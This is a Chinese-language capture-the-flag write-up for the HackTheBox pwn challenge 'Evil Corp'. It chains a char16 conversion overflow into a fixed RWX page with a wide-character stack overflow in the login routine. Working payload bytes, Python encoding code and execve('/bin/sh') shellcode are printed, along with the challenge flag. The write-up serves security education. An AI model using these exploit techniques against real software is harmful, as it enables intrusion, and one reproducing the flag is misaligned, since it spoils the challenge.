HackTheBox Pwn Challenge - Evil Corp (Medium)

發布日期:2026/4/18

摘要: 由於我們新來的C語言開發人員犯了一個大錯,我們關閉了組合語言測試程式。你認為他還犯過其他錯誤嗎?


HackTheBox Pwn Challenge - Evil Corp (Medium)

題目資訊

  • 分類: Pwn (二進位漏洞利用)
  • 難度: Medium (697 人解出)
  • 二進位檔: ELF 64-bit PIE, 動態連結, 未去符號

保護機制

保護 狀態
PIE 開啟
NX 開啟
Canary 關閉
RELRO Partial

逆向分析

程式流程

main → Setup → 迴圈 { WelcomeMsg → 未登入? Login : ShowNotifications → GetOpt }

關鍵函式

Setup(): 設定 UTF-8 locale、關閉 I/O 緩衝,並用 mmap 在固定位址建立兩塊記憶體:

  • SupportMsg0x10000 (RW, 0x4B0 bytes, MAP_FIXED)
  • AssemblyTestPage0x11000 (RWX, 0x800 bytes, MAP_FIXED) — 可讀可寫可執行!

Login(): 使用寬字元(wchar_t)讀取帳密,硬編碼帳號 eliot、密碼 4007。密碼透過 fgetws(rsp, 0x12c, stdin) 讀取,最多 300 個 wchar(1200 bytes),但 stack frame 只有 0x150 bytes — 堆疊溢位

ContactSupport(): 讀取最多 0x1000 個 wchar,透過 wcharToChar16() 轉換後寫入 SupportMsg。每個 wchar (4 bytes) 轉成 char16 (2 bytes),最多寫出 0x2000 bytes,從 0x10000 開始可以一路寫到 0x12000,覆蓋到 0x11000 的 RWX 頁面。

漏洞鏈

兩個漏洞串接:

  1. ContactSupport char16 溢位 → 將 shellcode 寫入 RWX 頁面 (0x11000)
  2. Login 密碼堆疊溢位 → 覆蓋 return address 跳轉到 0x11000 執行 shellcode

攻擊步驟

步驟 1:登入

使用從 .rodata 中提取的憑證 eliot / 4007 登入。

步驟 2:透過 ContactSupport 寫入 Shellcode

發送 0x800 個 'A' 作為 padding(產生 0x1000 bytes 的 char16 填滿 0x10000-0x10FFF),接著發送 shellcode 編碼的 wchar:

# 每 2 bytes shellcode 編碼為一個 Unicode 字元
# 例如 shellcode 的 0x48, 0x31 → U+3148 → UTF-8: E3 85 88
for i in range(0, len(sc), 2):
    val = sc[i] | (sc[i+1] << 8)
    result += chr(val)

wcharToChar16 取每個 wchar 的低 16 bits 存為 char16,以 little-endian 排列,完美還原 shellcode 原始 bytes。

步驟 3:登出

選擇選單中的 Logout (選項 3),程式回到未登入狀態。

步驟 4:再次 Login 觸發溢位

密碼欄位 stack layout:

rsp + 0x000: 密碼 buffer 起始
rsp + 0x150: saved RBX (8 bytes)
rsp + 0x158: return address (8 bytes) ← 目標

return address 在第 86 個 wchar 位置 (0x158 / 4 = 86)。

發送 payload:

overflow  = b'C' * 86                    # 86 個 ASCII 字元 = 86 wchars padding
overflow += b'\xf0\x91\x80\x80'          # U+11000 的 UTF-8 編碼 = return addr 低 4 bytes
overflow += b'\x00'                       # U+0000 = return addr 高 4 bytes (必須為 0)
overflow += b'D' * 211                    # 填滿 fgetws buffer 到 299 wchars
r.send(overflow)                          # 不加換行! fgetws 讀滿 299 字元後自動返回

關鍵技巧 — null byte 處理

  • return address 完整 8 bytes 需要為 0x0000000000011000
  • 高 4 bytes 必須全零,透過發送 \x00 byte 實現
  • glibc 的 fgetws 遇到 null byte 時不會停止(只在換行或 n-1 字元時停止)
  • 填滿 fgetws 的 299 字元上限,避免需要換行符號(換行會覆蓋 return address 高位)

Shellcode

; execve("/bin/sh", NULL, NULL) - 28 bytes
xor    rsi, rsi        ; rsi = 0
push   rsi             ; null terminator
movabs rdi, 0x68732f2f6e69622f  ; "/bin//sh"
push   rdi
mov    rdi, rsp        ; rdi = 指向 "/bin//sh"
xor    rdx, rdx        ; envp = NULL
xor    rax, rax
mov    al, 0x3b        ; syscall number = execve
syscall

攻擊示意圖

┌──────────────────────────────────────────────┐
│ 1. Login (eliot/4007)                        │
│ 2. ContactSupport:                           │
│    ┌─────────────┬──────────┐                │
│    │ 0x800 'A's  │ Shellcode │ → char16 寫入 │
│    │ (padding)   │ (14 wchar)│               │
│    └─────────────┴──────────┘                │
│    0x10000        0x11000 (RWX)              │
│                                              │
│ 3. Logout                                    │
│ 4. Login overflow:                           │
│    ┌────────┬─────────────┬────┬─────┐       │
│    │86 wchar│ chr(0x11000)│\x00│ pad │       │
│    │padding │ ret addr lo │ hi │ fill│       │
│    └────────┴─────────────┴────┴─────┘       │
│    → return 到 0x11000 執行 shellcode → 🐚    │
└──────────────────────────────────────────────┘

Flag

HTB{45c11_15_N07_4L0000n3}

學到的技術

  • wchar_t 與 char16_t 之間的轉換可以作為 shellcode 編碼機制
  • fgetws 不會在 null wchar 停止,可以利用此特性塞入 null bytes
  • 固定位址的 RWX mmap 頁面是經典的 shellcode 目標
  • 填滿 fgetws buffer 上限可以避免換行符號污染 return address
目錄